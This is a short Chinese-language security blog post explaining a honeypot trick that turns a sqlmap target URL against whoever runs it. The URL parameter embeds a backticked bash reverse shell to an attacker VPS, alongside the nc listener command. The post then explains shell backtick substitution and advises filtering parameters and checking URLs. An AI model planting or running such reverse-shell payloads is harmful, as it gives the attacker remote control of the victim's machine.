最近看了一篇文章讲 Sqlmap 反制脚本小子,今天我们一起来探讨一下成功反制的前提条件,首先我们来回顾一下如何反制脚本小子。
1、在远程 VPS 启动一个 NC 监听,用来接收反弹回来的 Shell
nc -vv -l -p 8080
2、在蜜罐网站或者自己的真实网站,创建一个用于反制的链接:
https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`
将远程 VPS 的 IP 地址替换上面接口中的 10.10.10.11
,接下来拼接 sqlmap 的命令:
python3 sqlmap.py -u "https://vuln.xazlsec.com/sqlinject.php?id=1&search=`bash -i >& /dev/tcp/10.10.10.11/443 0>&1`"
在 linux 下执行该命令后,程序会卡死,没有任何反馈,如图 :
无论目标系统是否安装了 sqlmap 都可以执行该命令,随后在监听的服务器,获得执行 sqlmap 命令的 shell:
自此整个过程就结束了。
1、核心是利用命令行中的倒引号,在 unix 类系统,倒引号内的内容会被当作命令执行,比如:
2、整个过程其实跟 Sqlmap 一点关系都没有,因为整个命令执行根本就没用到 Sqlmap,所以即使目标系统是否安装了 Sqlmap 都能成功能行反弹命令。所以,只要是将该接口原封不动的被当作参数带入任意命令行程序,都会出现这样的问题。
关于这个反制效果想要最终达成,需要满足以下几个条件:
1、执行 sqlmap 的系统是 unix 操作系统,比如常见的 Linux 系统、mac 系统等
2、脚本小子不认识 sqlmap 命令中 bash -i >& /dev/tcp/10.10.10.11/443 0>&1
,在执行 sqlmap 的时候,将接口的所有信息均复制到参数中;或者有些大佬在实现自动化漏洞探测的时候,通过爬虫获取的接口,额外调用 sqlmap 做进一步漏洞检测时,可能触发。
1、这个问题非要跟 Sqlmap 绑定,其实跟 Sqlmap 并没有太大关系,可以是任意命令行程序,比如针对接口做其他漏洞探测
2、想要避免这个问题,最简单的方式就是将接口的参数内容统一过滤掉再带入命令行,或者直接过滤其中的倒引号
3、在做漏洞复现的时候,看清楚接口的内容,即使是脚本小子,也不会轻易上当
4、整个过程其实就是利用了操作系统的特性,特定环境下可以当作命令来执行